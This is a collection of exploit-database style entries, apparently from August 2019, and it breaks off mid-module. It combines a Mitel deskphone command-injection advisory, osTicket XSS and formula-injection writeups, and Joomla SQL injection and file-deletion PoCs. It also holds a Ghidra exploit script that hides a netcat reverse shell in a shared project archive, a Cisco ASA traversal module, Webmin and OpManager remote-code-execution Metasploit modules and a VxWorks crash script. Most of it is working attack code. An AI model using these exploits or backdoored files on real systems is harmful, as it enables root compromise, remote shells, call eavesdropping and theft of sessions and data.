BlueBox Security
http://www.bluebox-security.de/              security(at)bluebox-security.de
bbs-2019.001.txt                             08-August-2019
____________________________________________________________________________

Vendor:             Mitel  
Affected Products:  Mitel 6869i Voip Deskphone Version 4.2.2032 - SIP
Not Affected:       unknown
Vulnerability:      Mitel 6869i SIP Deskphone 4.2.2032: Unauthenticated Bash 
                    Command Injection Vulnerability with Root Priviledges in 
                    /cgi-bin/webuploadconfig script
Risk:               High 
____________________________________________________________________________

Vendor communication:
  2019/08/08    BlueBox Security releases this advisory
____________________________________________________________________________

Overview:
--------
The Mitel 6869i is a desktop VoIP phone offering telephony features. 
A webservice running on the TCP Port 49249 is used to administrate the phone's 
VoIP settings, upgrade the firmware and change security settings.

Description:
--------

The Webserver on port 49249 of the Mitel 6869i phone is using the "webuploadconfig" cgi-script, 
an arm linux elf executable file, to upload ring tone audio files to the 
phone with the page=upload_ringtone parameter. 
The execution of this cgi-script does not require prior authentication.
Futhermore the script is vulnerable to Bash Command Injection.
The filename value of the POST request is used unsanitized in a system() call.

The vulnerable POST request to the webuploadconfig-script is the following:

POST //cgi-bin/webuploadconfig?page=upload_ringtone&action=submit&section=0&conn=1 HTTP/1.1
Host: 192.168.178.147:49249
User-Agent: curl/7.65.1
Accept: */*
Content-Length: 185
Content-Type: multipart/form-data; boundary=------------------------2754e6a90f270263
Connection: close

--------------------------2754e6a90f270263
Content-Disposition: form-data; name="file"; filename="`ping -c 1 192.168.178.140`"

pwned
--------------------------2754e6a90f270263--


By inserting "|command", "`command`" or "$(command) as the value of the "filename" parameter
the "command" is executed on the underlying linux operating system.

The following linux bash commandline exploits this vulnerability and executes the
command "ping -c 1 192.168.178.140" on the Mitel 6869i phone with the IP Adress 
192.168.178.147 with root priviledges:

$ echo "pwned" | curl -F "file=@-;filename=\`ping -c 1 192.168.178.140\`" \
"http://192.168.178.147:49249//cgi-bin/webuploadconfig?page=upload_ringtone&action=submit&section=0&conn=1"

To verify the successfull completion of the ping-command on the Mitel 6869i 
phone, start tcpdump on the host system and listen for incoming icmp requests.
(eg by running tcpdump -i eth0 -n icmp)

The "webuploadconfig" cgi-script also runs with superuser root-priviledges as 
the telnetd service can be started on the restricted TCP-port 23 by replacing
the ping-command with "telnetd &".

Impact:
--------
The described problems allow an unauthenticated attacker to run arbitary linux
operating system commands with root-priledges. This leads to a complete comprimise
of the Mitel 6869i phone and therefore also the possibility to eavesdrop on the
victim's calls.

Solution
--------
We recommend to properly perform input parsing of the filename parameter to avoid
Command Injection vulnerabilities.
As a quick fix blocking access to the port 49249 is advisable.

________________________________________________________________________

Credits:
Bug found by Axel Rengstorf <ar@bluebox-security.de> of Bluebox Security
________________________________________________________________________

References:
This Advisory and Upcoming Advisories:
http://bluebox-security.de/advisories.html
________________________________________________________________________

About BlueBox Security:
BlueBox Security is a vendor-independent security consulting company
specialising in the areas of voip/pbx telephone infrastructures security
analysis, source code audits and analysis of iot/embedded systems.

https://www.bluebox-security.de
Contact: ar@bluebox-secuurity.de

Copyright Notice:
Unaltered electronic reproduction of this advisory is permitted. For all
other reproduction or publication, in printing or otherwise, contact
security@bluebox-security.de for permission. Use of the advisory constitutes
acceptance for use in an "as is" condition. All warranties are excluded.
In no event shall BlueBox Security be liable for any damages whatsoever including
direct, indirect, incidental, consequential, loss of business profits or
special damages, even if the author has been advised of the possibility of
such damages.

Copyright 2019 Axel Rengstorf. All rights reserved. Terms of use apply.

 # Exploit Title: osTicket-v1.12 Stored XSS via File Upload
# Vendor Homepage: https://osticket.com/
# Software Link: https://osticket.com/download/
# Exploit Author: Aishwarya Iyer
# Contact: https://twitter.com/aish_9524
# Website: https://about.me/aish_iyer
# Category: webapps
# CVE: CVE-2019-14748

1. Description

An issue was discovered in osTicket before 1.10.7 and 1.12.x before 1.12.1.
The Ticket creation form allows users to upload files along with queries.
It was found that the file-upload functionality has fewer (or no)
mitigations implemented for file content checks; also, the output is not
handled properly, causing persistent XSS that leads to cookie stealing or
malicious actions. For
example, a non-agent user can upload a .html file, and Content-Disposition
will be set to inline instead of an attachment.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14748

2. Proof of Concept

Steps to Reproduce:
- Login to the portal as a non agent user:
- Open a New Ticket
- Select  any option from the dropdown menu present under "Help Topic"
- Text box appears, enter details accordingly
- In the section "drop files here or choose them", we would be putting our
payload
- Open any text editor  and name the file as test(say) with .html extension.
- Within the file, enter the payload
<script>alert(document.cookie);</script>
- Save the test.html file.
- Now click on drop files here option and enter the test.html file.
- Click on "create ticket" option
- Login with another user(agent)
- Now within the User Directory, go to the user under which the payload has
been put.
- The ticket raised with the name mentioned will be shown under the subject
category.
- Scroll down and the file uploaded will be present below.
- Click on the file, and the payload gets executed which is persistent

3. Reference

https://github.com/osTicket/osTicket/commit/33ed106b1602f559a660a69f931a9d873685d1ba
https://github.com/osTicket/osTicket/releases/tag/v1.12.1
https://github.com/osTicket/osTicket/releases/tag/v1.10.7

4. Solution

The vulnerability has been patched by the vendor in the next release which
is osTicket v1.10.7.


-- 
Best Regards,
Aishwarya Iyer
https://about.me/aish_iyer

# Exploit Title: osTicket-v1.12 Formula Injection
# Vendor Homepage: https://osticket.com/
# Software Link: https://osticket.com/download/
# Exploit Author: Aishwarya Iyer
# Contact: https://twitter.com/aish_9524
# Website: https://about.me/aish_iyer
# Category: webapps
# CVE: CVE-2019-14749

1. Description


An issue was discovered in osTicket before 1.10.7 and 1.12.x before 1.12.1.
CSV (aka Formula) injection exists in the export spreadsheets
functionality. These spreadsheets are generated dynamically from
unvalidated or unfiltered user input in the Name and Internal Notes fields
in the Users tab, and the Issue Summary field in the tickets tab. This
allows other agents to download data in a .csv file format or .xls file
format. This is used as input for spreadsheet applications such as Excel
and OpenOffice Calc, resulting in a situation where cells in the
spreadsheets can contain input from an untrusted source. As a result, the end
user who is accessing the exported spreadsheet can be affected.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14749

2. Proof of Concept

Steps to Reproduce:
- Login as an agent and under the "Users" section create a new user.
- Insert the crafted payload of Formula Injection into "Name" and "Internal
Notes" field.
- Login as another agent and under the Users tab, click on export and then
save the ".csv" file.
- It is observed that the payload gets executed in excel and this leads to
remote code execution.
- Not just an agent, even a non-agent user has the option to edit his name
where he can insert the malicious payload of Formula Injection.
- The application does not sanitize the inputs here due to which when the
agent clicks on export the payload gets executed.
-The same issue persisted in the "Issue Summary" field in the tickets tab.

3. Reference

https://github.com/osTicket/osTicket/commit/99818486c5b1d8aa445cee232825418d6834f249
https://github.com/osTicket/osTicket/releases/tag/v1.12.1
https://github.com/osTicket/osTicket/releases/tag/v1.10.7

4. Solution

The vulnerability has been patched by the vendor in the next release which
is osTicket v1.10.7.

-- 
Best Regards,
Aishwarya Iyer
https://about.me/aish_iyer

# Exploit Title: osTicket-v1.12 Stored XSS
# Vendor Homepage: https://osticket.com/
# Software Link: https://osticket.com/download/
# Exploit Author: Aishwarya Iyer
# Contact: https://twitter.com/aish_9524
# Website: https://about.me/aish_iyer
# Category: webapps
# CVE: CVE-2019-14750

1. Description

An issue was discovered in osTicket before 1.10.7 and 1.12.x before 1.12.1.
Stored XSS exists in setup/install.php. It was observed that no input
sanitization was provided in the firstname and lastname fields of the
application. The insertion of malicious queries in those fields leads to
the execution of those queries. This can further lead to cookie stealing or
other malicious actions.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14750

2. Proof of Concept

Steps to Reproduce:
- While setting up the osTicket application in the setup/install.php page
insert the XSS payload into the first name and last name field.
- After filling in all the other details and clicking on 'continue', it is
observed that there is no validation for the first name and last name field
and the malicious payload is stored and a new agent is created.
- Login as that agent and navigate to "agents" tab where we will find the
inserted payload in the firstname and Lastname field.
- Click on the firstname value and see the payload gets executed

3. Reference

https://github.com/osTicket/osTicket/commit/c3ba5b78261e07a883ad8fac28c214486c854e12
https://github.com/osTicket/osTicket/releases/tag/v1.12.1
https://github.com/osTicket/osTicket/releases/tag/v1.10.7

4. Solution

The vulnerability has been patched by the vendor in the next release which
is osTicket v1.10.7.

-- 
Best Regards,
Aishwarya Iyer
https://about.me/aish_iyer

import os
import inspect
import argparse
import shutil
from shutil import copyfile

print("")
print("")
print("################################################")
print("")
print("------------------CVE-2019-13623----------------")
print("")
print("################################################")
print("")
print("-----------------Ghidra-Exploit-----------------")
print("--Tested version: Ghidra Linux version <= 9.0.4-")
print("------------------------------------------------")
print("")
print("################################################")
print("")
print("----------Exploit by: Etienne Lacoche-----------")
print("---------Contact Twitter: @electr0sm0g----------")
print("")
print("------------------Discovered by:----------------")
print("---------https://blog.fxiao.me/ghidra/----------")
print("")
print("--------Exploit tested on Ubuntu 18.04----------")
print("-----------------Dependency: zip----------------")
print("")
print("################################################")
print("")
print("")

parser = argparse.ArgumentParser()
parser.add_argument("file", help="Path to input export .gar file",default=1)
parser.add_argument("ip", help="Ip to nc listener",default=1)
parser.add_argument("port", help="Port to nc listener",default=1)

args = parser.parse_args()

if args.ip and args.port and args.file:

    rootDirURL=os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))
    path = "../Ghidra/Features/Decompiler/os/linux64/decompile"
    os.system("mkdir -p ../Ghidra/Features/Decompiler/os/linux64/")
    os.system("echo 'rm -f x; mknod x p && nc "+args.ip+""+args.port+" 0<x | /bin/bash 1>x'> decompile")
    os.system("chmod +x decompile")
    copyfile("decompile",path)
    copyfile(args.file,rootDirURL+"/"+"project.gar")
    os.system("zip -q project.gar ../Ghidra/Features/Decompiler/os/linux64/decompile")
    os.system("echo 'To fully export this archive, place project.gar to GHIDRA_INSTALL_DIR root path and open it with Restore Project at Ghidra.'> README_BEFORE_OPEN_GAR_FILE")
    os.system("zip -q project.zip README_BEFORE_OPEN_GAR_FILE")    
    os.system("zip -q project.zip project.gar") 
    os.system("rm decompile README_BEFORE_OPEN_GAR_FILE")
    os.system("rm project.gar")
    print("You can now share project.zip and start your local netcat listener.")
    print("")
    print("Project.gar must be placed and opened by victim at GHIDRA_INSTALL_DIR")
    print("root path for payload execution.")
    print("")

#Exploit Title: Joomla! component com_jsjobs - SQL Injection
#Dork: inurl:"index.php?option=com_jsjobs"
#Date: 11.08.19
#Exploit Author: qw3rTyTy
#Vendor Homepage: https://www.joomsky.com/
#Software Link: https://www.joomsky.com/5/download/1
#Version: 1.2.5
#Tested on: Debian/nginx/joomla 3.9.0
#####################################
#Vulnerability details:
#####################################
Vulnerable code is in line 296 in file site/models/cities.php

   291      function isCityExist($countryid, $stateid, $cityname){
   292          if (!is_numeric($countryid))
   293              return false;
   294  
   295          $db = $this->getDBO();
   296    $query = "SELECT id,name,latitude,longitude FROM `#__js_job_cities` WHERE countryid=" . $countryid . " AND LOWER(name) = '" . strtolower($cityname) . "'";  //!!!
   297  
   298          if($stateid > 0){
   299              $query .= " AND stateid=".$stateid;
   300          }else{
   301              $query .= " AND (stateid=0 OR stateid IS NULL)";
   302    }
   303    
   305          $db->setQuery($query);
   306          $city = $db->loadObject();
   307          if ($city != null)
   308              return $city;
   309          else
   310              return false;
   311      }
   312  
   313  }

#####################################
#PoC:
#####################################
http://localhost/index.php?option=com_jsjobs&task=cities.savecity&citydata=%27%20UNION%20SELECT%20*%20FROM%20(SELECT%20user())%20AS%20a%20JOIN%20(SELECT%20version())%20as%20b%20JOIN%20(SELECT%20database())%20as%20c%20JOIN%20(SELECT%20%27woot%27)%20as%20d--%20,Canada

require 'msf/core'

  class MetasploitModule < Msf::Auxiliary

    include Msf::Exploit::Remote::HttpClient

        def initialize(info={})
      super(update_info(info,
'Name'           => "Cisco Adaptive Security Appliance  - Path Traversal",
'Description'    => %q{
            Cisco Adaptive Security Appliance - Path Traversal (CVE-2018-0296)
        A security vulnerability in Cisco ASA that would allow an attacker to view sensitive system information without authentication by using directory traversal techniques.
        Google Dork:inurl:+CSCOE+/logon.html
          },
'License'        => MSF_LICENSE,
'Author'         =>
        [
'Yassine Aboukir',   #Initial  discovery
'Angelo Ruwantha @h3llwings'      #msf module
        ],
'References'     =>
        [
            ['EDB', '44956'],
            ['URL', 'https://www.exploit-db.com/exploits/44956/']
        ],
'Arch'           => ARCH_CMD,
'Compat'          =>
        {
'PayloadType' => 'cmd'
        },
'Platform'       => ['unix','linux'],
'Targets'        =>
        [
            ['3000 Series Industrial Security Appliance (ISA)
          ASA 1000V Cloud Firewall
          ASA 5500 Series Adaptive Security Appliances
          ASA 5500-X Series Next-Generation Firewalls
          ASA Services Module for Cisco Catalyst 6500 Series Switches and Cisco 7600 Series Routers
          Adaptive Security Virtual Appliance (ASAv)
          Firepower 2100 Series Security Appliance
          Firepower 4100 Series Security Appliance
          Firepower 9300 ASA Security Module
          FTD Virtual (FTDv)', {}]
        ],
'Privileged'     => false,
'DefaultTarget'  => 0))

        register_options(
        [
          OptString.new('TARGETURI', [true, 'Ex: https://vpn.example.com', '/']),
          OptString.new('SSL', [true, 'set it as true', 'true']),
          OptString.new('RPORT', [true, '443', '443']),
        ], self.class)
    end


    def run
      uri = target_uri.path

      res = send_request_cgi({
'method'   => 'GET',
'uri'      => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/'),

      })


      if res && res.code == 200 && res.body.include?("{'name'")
        print_good("#{peer} is Vulnerable")
        print_status("Directory Index ")
        print_good(res.body)
             res_dir = send_request_cgi({
'method'   => 'GET',
'uri'      => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=%2bCSCOE%2b'),

        })
        res_users = send_request_cgi({
'method'   => 'GET',
'uri'      => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/'),

        })
        userIDs=res_users.body.scan(/[0-9]\w+/).flatten

        print_status("CSCEO Directory ") 
        print_good(res_dir.body)

        print_status("Active Session(s) ")
        print_status(res_users.body)
        x=0
        begin
        print_status("Getting User(s)")
        while (x<=userIDs.length)
          users = send_request_cgi({
'method'   => 'GET',
'uri'      => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/'+userIDs[x]),

          })

          grab_username=users.body.scan(/user:\w+/)
          nonstr=grab_username
          if (!nonstr.nil? && nonstr!="")
            print_good("#{nonstr}")
          end
          x=x+1
        end
        rescue
          print_status("Complete")
        end


      else
        print_error("safe")
        return Exploit::CheckCode::Safe
      end
    end
  end

# Exploit Title: [UNA - 10.0.0-RC1 stored XSS vuln.]
# Date: [2019 08 10]
# Exploit Author: [Greg.Priest]
# Vendor Homepage: [https://una.io/]
# Software Link: [https://github.com/unaio/una/tree/master/studio]
# Version: [UNA - 10.0.0-RC1]
# Tested on: [Windows/Linux ]
# CVE : [CVE-2019-14804]

UNA-v.10.0.0-RC1 [Stored XSS Vulnerability]#1

 Sign in to admin and look for the ["etemplates"] page (/studio/polyglot.php?page=etemplates)!
 Click ["Emails"] and edit the templates! Inject the JavaScript code into the ["System Name"] field!

 http://127.0.0.1/UNA/studio/polyglot.php?page=etemplates

https://github.com/Gr3gPr1est/BugReport/blob/master/CVE-2019-14804.pdf

#Exploit Title: Joomla! component com_jssupportticket - Authenticated Arbitrary File Deletion
#Dork: inurl:"index.php?option=com_jssupportticket"
#Date: 10.08.19
#Exploit Author: qw3rTyTy
#Vendor Homepage: https://www.joomsky.com/
#Software Link: https://www.joomsky.com/46/download/1.html
#Version: 1.1.6
#Tested on: Debian/nginx/joomla 3.9.0
#####################################
#Vulnerability details:
#####################################
This vulnerability is caused when processing custom user field.

file:  admin/models/ticket.php
function:  storeTicket

    54      function storeTicket($data){
    ...snip...
    75          $userfield = $this->getJSModel('userfields')->getUserfieldsfor(1);
    76          $params = array();
    77    foreach ($userfield AS $ufobj) {
    78        $vardata = '';
    ...snip...
   121      if(isset($data[$ufobj->field.'_1']) && $data[$ufobj->field.'_1'] == 1){
   122                  $customflagfordelete = true;
   123      $custom_field_namesfordelete[]= $data[$ufobj->field.'_2'];  //no check.
     ...snip...
   198          if($customflagfordelete == true){
   199      foreach ($custom_field_namesfordelete as $key) {
   200                  $res = $this->removeFileCustom($ticketid,$key);  //!!!
   201              }
   202          }
   ...snip...
  1508      function removeFileCustom($id, $key){
  1509          $filename = str_replace('', '_', $key);
  1510  
  1511          if(! is_numeric($id))
  1512              return;
  1513  
  1514          $db = JFactory::getDbo();
  1515          $config = $this->getJSModel('config')->getConfigByFor('default');
  1516          $datadirectory = $config['data_directory'];
  1517  
  1518          $base = JPATH_BASE;
  1519          if(JFactory::getApplication()->isAdmin()){
  1520              $base = substr($base, 0, strlen($base) - 14); //remove administrator    
  1521          }
  1522  
  1523          $path = $base . '/' . $datadirectory. '/attachmentdata/ticket';
  1524  
  1525          $query = "SELECT attachmentdir FROM `#__js_ticket_tickets` WHERE id = ".$id;
  1526          $db->setQuery($query);
  1527          $foldername = $db->loadResult();
  1528          $userpath = $path . '/' . $foldername.'/'.$filename;
  1529          unlink($userpath);  //!!!
  1530          return;
  1531      }

#####################################
#PoC:
#####################################
When administrator has added custom user field as "19", attacker are can trigger this vulnerability by send a following request.

$> curl -X POST -i -F 'option=com_jssupportticket' -F 'c=ticket' -F 'task=saveTicket' -F '{VALID_FORMTOKEN_FROM_FORMTICKET}=1' -F 'Itemid=666' -F 'id=' -F 'message=woot' -F '19_1=1' -F '19_2=../../../../configuration.php' -F 'filename[]=@./woot.txt' -H 'Cookie: VALID_SESSION_ID=VALID_SESSION_ID''http://localhost/index.php'

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
'Name'           => 'Webmin 1.920 Unauthenticated RCE',
'Description'    => %q(
        This module exploits an arbitrary command execution vulnerability in Webmin
        1.920 and prior versions. If the password change module is turned on, the unathenticated user
        can execute arbitrary commands with root privileges.

        /////// This 0day has been published at DEFCON-AppSec Village. ///////    

      ),
'Author'         => [
'AkkuS <Özkan Mustafa Akkuş>' # Discovery & PoC & Metasploit module @ehakkus
      ],
'License'        => MSF_LICENSE,
'References'     =>
        [
          ['CVE', '2019-'],
          ['URL', 'https://www.pentest.com.tr']
        ],
'Privileged'     => true,
'Payload'        =>
        {
'DisableNops' => true,
'Space'       => 512,
'Compat'      =>
            {
'PayloadType' => 'cmd'
            }
        },
'DefaultOptions' =>
        {
'RPORT' => 10000,
'SSL'   => false,
'PAYLOAD' => 'cmd/unix/reverse_python'
        },
'Platform'       => 'unix',
'Arch'           => ARCH_CMD,
'Targets'        => [['Webmin <= 1.910', {}]],
'DisclosureDate' => 'May 16 2019',
'DefaultTarget'  => 0)
    )
    register_options [
        OptString.new('TARGETURI',  [true, 'Base path for Webmin application', '/'])
    ]
  end

  def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
  end
  ##
  # Target and input verification
  ##
  def check
    # check passwd change priv
    res = send_request_cgi({
'uri'     => normalize_uri(target_uri.path, "password_change.cgi"),
'headers' =>
        {
'Referer' => "#{peer}/session_login.cgi"
        },
'cookie'  => "redirect=1; testing=1; sid=x; sessiontest=1"
    })

    if res && res.code == 200 && res.body =~ /Failed/
      res = send_request_cgi(
        {
'method' => 'POST',
'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1",
'ctype'  => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
'headers' =>
          {
'Referer' => "#{peer}/session_login.cgi"
          },
'data' => "user=root&pam=&expired=2&old=AkkuS%7cdir%20&new1=akkuss&new2=akkuss"
        })

      if res && res.code == 200 && res.body =~ /password_change.cgi/
        return CheckCode::Vulnerable
      else
        return CheckCode::Safe
      end
    else
      return CheckCode::Safe
    end
  end

  ##
  # Exploiting phase
  ##
  def exploit

    unless Exploit::CheckCode::Vulnerable == check
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end

    command = payload.encoded
    print_status("Attempting to execute the payload...")
    handler
    res = send_request_cgi(
      {
'method' => 'POST',
'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1",
'ctype'  => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
'headers' =>
        {
'Referer' => "#{peer}/session_login.cgi"
        },
'data' => "user=root&pam=&expired=2&old=AkkuS%7c#{command}%20&new1=akkuss&new2=akkuss"
      })

  end
end

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
'Name'           => "ManageEngine OpManager v12.4x - Unauthenticated Remote Command Execution",
'Description'    => %q(
        This module bypasses the user password requirement in the OpManager v12.4.034 and prior versions.
        It performs authentication bypass and executes commands on the server.

        /////// This 0day has been published at DEFCON-AppSec Village. ///////

      ),
'License'        => MSF_LICENSE,
'Author'         =>
        [
'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
        ],
'References'     =>
        [
          [ 'URL', 'http://pentest.com.tr/exploits/DEFCON-ManageEngine-OpManager-v12-4-Unauthenticated-Remote-Command-Execution.html' ]
        ],
'DefaultOptions' =>
        {
'WfsDelay' => 60,
'RPORT' => 8060,
'SSL' => false,
'PAYLOAD' => 'generic/shell_reverse_tcp'
        },
'Privileged'     => true,
'Payload'        =>
        {
'DisableNops' => true,
        },
'Platform'       => ['unix', 'win'],
'Targets' =>
        [
          [ 'Windows Target',
            {
'Platform' => ['win'],
'Arch' => ARCH_CMD,
            }
          ],
          [ 'Linux Target',
            {
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Payload' =>
                {
'Compat' =>
                    {
'PayloadType' => 'cmd',
                    }
                }
            }
          ]
        ],
'DisclosureDate' => '10 August 2019 //DEFCON',
'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('USERNAME',  [true, 'OpManager Username', 'admin']),
        OptString.new('TARGETURI',  [true, 'Base path for ME application', '/'])
      ],self.class)
  end

  def check_platform(host, port, cookie)

    res = send_request_cgi(
'rhost'   => host,
'rport'   => port,
'method'  => 'GET',
'uri'     =>  normalize_uri(target_uri.path, 'showTile.do'),
'cookie'  => cookie,
'vars_get' => {
'TileName' => '.ExecProg',
'haid' => 'null',
      }
    )
    if res && res.code == 200 && res.body.include?('createExecProgAction')
      @dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0]
      if @dir =~ /:/
        platform = Msf::Module::Platform::Windows
      else 
        platform = Msf::Module::Platform::Unix
      end
    else
      fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.')
    end
    file_up(host, port, cookie, platform, @dir)
  end

  def file_up(host, port, cookie, platform, dir)
    if platform == Msf::Module::Platform::Windows
      filex = ".bat"
    else
      if payload.encoded =~ /sh/
        filex = ".sh"
      elsif payload.encoded =~ /perl/
        filex = ".pl"
      elsif payload.encoded =~ /awk 'BEGIN{/
        filex = ".sh"
      elsif payload.encoded =~ /python/
        filex = ".py"
      elsif payload.encoded =~ /ruby/
        filex = ".rb"
      else
        fail_with(Failure::Unknown, 'Payload type could not be checked!')
      end
    end

    @fname= rand_text_alpha(9 + rand(3)) + filex
    data = Rex::MIME::Message.new
    data.add_part('./', nil, nil, 'form-data; name="uploadDir"')
    data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"")

    res = send_request_cgi({
'rhost'   => host,
'rport'   => port,
'method' => 'POST',    
'data'  => data.to_s,
'agent' => 'Mozilla',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'cookie' => cookie,
'uri' => normalize_uri(target_uri, "Upload.do")     
    })

    if res && res.code == 200 && res.body.include?('icon_message_success')
      print_good("#{@fname} malicious file has been uploaded.")
      create_exec_prog(host, port, cookie, dir, @fname)
    else
      fail_with(Failure::Unknown, 'The file could not be uploaded!')
    end
  end

  def create_exec_prog(host, port, cookie, dir, fname)

    @display = rand_text_alphanumeric(7)
    res = send_request_cgi(
'method'  => 'POST',
'rhost'   => host,
'rport'   => port,
'uri'     =>  normalize_uri(target_uri.path, 'adminAction.do'),
'cookie'  => cookie,
'vars_post' => {
'actions' => '/showTile.do?TileName=.ExecProg&haid=null',
'method' => 'createExecProgAction',
'id' => 0,
'displayname' => @display,
'serversite' => 'local',
'choosehost' => -2,
'abortafter' => 5,
'command' => fname,
'execProgExecDir' => dir,
'cancel' => 'false'
      }
    )

    if res && res.code == 200 && res.body.include?('icon_message_success')
      actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0] 
      print_status("Transactions completed. Attempting to get a session...")
      exec(host, port, cookie, actionid)
    else
      fail_with(Failure::Unreachable, 'Connection error occurred!')
    end
  end

  def exec(host, port, cookie, action)
    send_request_cgi(
'method'  => 'GET',
'rhost'   => host,
'rport'   => port,
'uri'     =>  normalize_uri(target_uri.path, 'common', 'executeScript.do'),
'cookie'  => cookie,
'vars_get' => {
'method' => 'testAction',
'actionID' => action,
'haid' => 'null'
      }
    )
  end

  def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def print_error(msg='')
    super("#{peer} - #{msg}")
  end

  def print_good(msg='')
    super("#{peer} - #{msg}")
  end 

  def check

    res = send_request_cgi(
'method'  => 'GET',
'uri'     =>  normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'),
    )

    if res && res.code == 200 && res.body.include?('Logout.do?showPreLogin=false')
      appm_adr = res.body.split('<iframe src="')[1].split('/Logout.do?showPreLogin=false')[0]
      am_host = appm_adr.split('://')[1].split(':')[0]
      am_port = appm_adr.split('://')[1].split(':')[1]

      res = send_request_cgi(
'rhost'   => am_host,
'rport'   => am_port,
'method'  => 'GET',
'uri'     =>  normalize_uri(target_uri.path, 'applications.do'),
      )
      # Password check vulnerability in Java Script :/
      if res.body.include?('j_password.value=username')
        return Exploit::CheckCode::Vulnerable
      else 
        return Exploit::CheckCode::Safe
      end
    else 
      return Exploit::CheckCode::Safe
    end
  end

  def app_login

    res = send_request_cgi(
'method'  => 'GET',
'uri'     =>  normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'),
    )

    appm_adr = res.body.split('<iframe src="')[1].split('/Logout.do?showPreLogin=false')[0]
    am_host = appm_adr.split('://')[1].split(':')[0]
    am_port = appm_adr.split('://')[1].split(':')[1]

    res = send_request_cgi(
'rhost'   => am_host,
'rport'   => am_port,
'method'  => 'GET',
'uri'     =>  normalize_uri(target_uri.path, 'applications.do'),
    )

    @cookie = res.get_cookies
    res = send_request_cgi(
'method'  => 'POST',
'rhost'   => am_host,
'rport'   => am_port,
'cookie'   => @cookie,
'uri'     =>  normalize_uri(target_uri.path, '/j_security_check'),
'vars_post' => {
'clienttype' => 'html',
'j_username' => datastore['USERNAME'],
'j_password' => datastore['USERNAME'] + "@opm",
'submit' => 'Login'
      }
    )

    if res && res.code == 302 or 303
      print_good("Authentication bypass was successfully performed.")
      res = send_request_cgi(
'rhost'   => am_host,
'rport'   => am_port,
'cookie'  => @cookie,
'method'  => 'GET',
'uri'     =>  normalize_uri(target_uri.path, 'applications.do'),
      )

      @cookie = res.get_cookies
      check_platform(am_host, am_port, @cookie)
    else
      fail_with(Failure::NotVulnerable, 'Failed to perform authentication bypass! Try with another username...')
    end
  end

  def exploit
    unless Exploit::CheckCode::Vulnerable == check
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end
    app_login
  end
end

# Exploit Title: VxWorks TCP Urgent pointer = 0 integer underflow vulnerability
# Discovered By: Armis Security
# PoC Author: Zhou Yu (twitter: @504137480)
# Vendor Homepage: https://www.windriver.com
# Tested on: VxWorks 6.8
# CVE: CVE-2019-12255
# More Details: https://github.com/dazhouzhou/vxworks-poc/tree/master/CVE-2019-12255
# The PoC can crash VxWorks tasks(set the port corresponding to the task in the PoC), such as telnet, ftp, etc.

from scapy.all import *

if __name__ == "__main__":
    ip = "192.168.10.199"
    dport = 23
    seq_num = 1000
    payload = "\x42"*2000
    sport = random.randint(1024,65535)

    syn = IP(dst = ip)/TCP(sport = sport , dport = dport ,flags = "S", seq=seq_num)
    syn_ack = sr1(syn)

    seq_num = seq_num + 1
    ack_num = syn_ack.seq+1
    ack = IP(dst = ip)/TCP(sport = sport , dport = dport ,flags = "A", seq=seq_num, ack=ack_num)
    send(ack)

    psh = IP(dst = ip)/TCP(sport = sport , dport = dport ,flags = "PAU", seq=seq_num, ack=ack_num, urgptr=0) / payload
    send(psh)

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
'Name'           => "ManageEngine OpManager 12.4x - Privilege Escalation / Remote Command Execution",
'Description'    => %q(
        This module exploits sqli and command injection vulnerability in the OpManager v12.4.034 and prior versions.

        Module creates a new admin user with SQLi (MSSQL/PostgreSQL) and provides privilege escalation.
        Therefore low authority user can gain the authority of "system" on the server. 
        It uploads malicious file using the "Execute Program Action(s)" feature of Application Manager Plugin.

        /////// This 0day has been published at DEFCON-AppSec Village. ///////

      ),
'License'        => MSF_LICENSE,
'Author'         =>
        [
'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
        ],
'References'     =>
        [
          [ 'URL', 'http://pentest.com.tr/exploits/DEFCON-ManageEngine-OpManager-v12-4-Privilege-Escalation-Remote-Command-Execution.html' ]
        ],
'DefaultOptions' =>
        {
'WfsDelay' => 60,
'RPORT' => 8060,
'SSL' => false,
